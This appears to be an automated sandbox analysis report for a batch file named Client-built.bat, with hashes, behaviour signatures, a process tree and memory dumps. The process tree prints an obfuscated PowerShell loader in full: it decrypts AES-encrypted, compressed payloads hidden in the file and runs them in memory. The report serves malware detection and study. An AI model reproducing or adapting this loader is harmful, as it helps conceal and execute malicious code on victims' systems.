Resubmissions

Analysis

  • max time kernel
    41s
  • max time network
    15s
  • platform
    windows7_x64
  • resource
    win7-20240319-en
  • resource tags

    arch:x64arch:x86image:win7-20240319-enlocale:en-usos:windows7-x64system
  • submitted
    14-04-2024 15:44

General

  • Target

    Client-built.bat

  • Size

    1.6MB

  • MD5

    566c653ae6a704041aef596fce6d6a8c

  • SHA1

    da35608bf372a6113d941817a96bc3a17de9ef69

  • SHA256

    950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9

  • SHA512

    98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2

  • SSDEEP

    24576:5fdhc8KmdqCxAN6Wzmom6E7SMVePybPyDJq2Tg60xTmDADhXX9wEvIslVYglu0TW:5FhcZmgs4DANHXvhXNVnEyx8f

Score
1/10

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2300

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/2300-4-0x000000001B160000-0x000000001B442000-memory.dmp

    Filesize

    2.9MB

  • memory/2300-6-0x000007FEF5980000-0x000007FEF631D000-memory.dmp

    Filesize

    9.6MB

  • memory/2300-5-0x0000000002620000-0x0000000002628000-memory.dmp

    Filesize

    32KB

  • memory/2300-7-0x0000000002550000-0x00000000025D0000-memory.dmp

    Filesize

    512KB

  • memory/2300-8-0x000007FEF5980000-0x000007FEF631D000-memory.dmp

    Filesize

    9.6MB

  • memory/2300-9-0x0000000002550000-0x00000000025D0000-memory.dmp

    Filesize

    512KB

  • memory/2300-10-0x0000000002550000-0x00000000025D0000-memory.dmp

    Filesize

    512KB

  • memory/2300-11-0x0000000002550000-0x00000000025D0000-memory.dmp

    Filesize

    512KB

  • memory/2300-12-0x000007FEF5980000-0x000007FEF631D000-memory.dmp

    Filesize

    9.6MB